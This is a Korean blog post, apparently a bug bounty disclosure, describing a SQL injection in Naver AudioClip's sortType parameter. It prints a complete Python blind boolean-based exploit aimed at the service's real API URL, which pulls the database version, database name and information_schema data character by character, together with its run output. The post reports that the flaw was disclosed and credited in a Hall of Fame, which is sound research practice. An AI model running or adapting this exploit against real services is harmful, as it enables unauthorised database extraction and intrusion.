리얼월드 (Real world)

네이버 오디오클립(AudioClip) SQL Injection 취약점

2020. 6. 11. 11:58

현대건설 힐스테이트 배구단 레프트 고예림

 

 

 

 

네이버 오디오클립

 네이버 오디오클립 서비스는 팟캐스트와 비슷한 인터넷 라디오 서비스이다.

 

1. 취약점

 

 

 오디오클립 서비스에서 클립을 가져올 때 sortType 을 지정할 수 있는데 이 파라미터를 가공하지 않은 형태로 SQL Query를 실행하여 발생하는 취약점이다. sortType에 사용자가 입력한 대로 SQL Query에 들어갔는데, 이는 ASC를 aSc로 입력해본다는가, ASC, 1 로 입력해보는 등의 행위로 추측할 수 있었다. 결정적으로 ASC, 32908492834 를 입력했을 때 Error가 뜨며 화면이 나오지 않는 것을 보아 SQL Injection 공격에 취약함을 알아차렸다.

 

2. Exploit

익스플로잇 코드는 다음과 같다.

 

#!/usr/bin/env python3
# coding: utf-8


import requests
import string
from math import floor


headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36',
}


def is_true(query):
    url = 'https://audioclip.naver.com/api/channels/661/episodes?sortType=ASC,(select+1+union+select+({0}))'.format(query)
    r = requests.get(url, headers=headers)
    if r.text.find('errorCode') > -1:
        return False
    return True


def guess_char(text, location):
    binary = ''
    for i in range(1, 8):
        query = "substr(lpad(bin(ascii(substr({},{},1))),7,0),{},1)=1".format(text, location, i)
        if is_true(query):
            binary += '1'
        else:
            binary += '0'
    return chr(int(binary, 2))


def get_string_length(text):
    length = 0
    while True:
        query = "length({0})={1}".format(text, length)
        if is_true(query):
            print('[+] the length of {0} :'.format(text), length)
            return length
        length += 1


def get_string(text):
    length = get_string_length(text)
    result = ''
    for i in range(1, length + 1):
        result += guess_char(text, i)
    return result


def main():
    print('[*] db version :', get_string('@@version'))
    print('[*] db name :', get_string('database()'))
    print('[+] information_schema test :', get_string('(select 0x41 from information_schema.tables limit 1)'))


if __name__ == '__main__':
    main()

 

➜ naver
➜ naver python3 audioclip_exploit.py
[+] the length of @@version : 10
[*] db version : 5.6.30-log
[+] the length of database() : 5
[*] db name : audio
[+] the length of (select 0x41 from information_schema.tables limit 1) : 1
[+] information_schema test : A

 

실제로 SQL Injection 공격이 가능함을 확인할 수 있다.

 

3. 명예의 전당

짠! 나오는 순서는 Critical한 순서로 나타나는 듯하다

 네이버 오디오클립은 팟캐스트 형식의 서비스이다. 당연히 네이버 버그바운티 프로그램에서 지원하는 서비스인 줄 알고 취약점을 분석했으나, 지원하는 서비스가 아니였기 때문에 돈은 못받고 Special Contributor가 되었다.

  • 비밀댓글입니다

    2020.06.11 21:42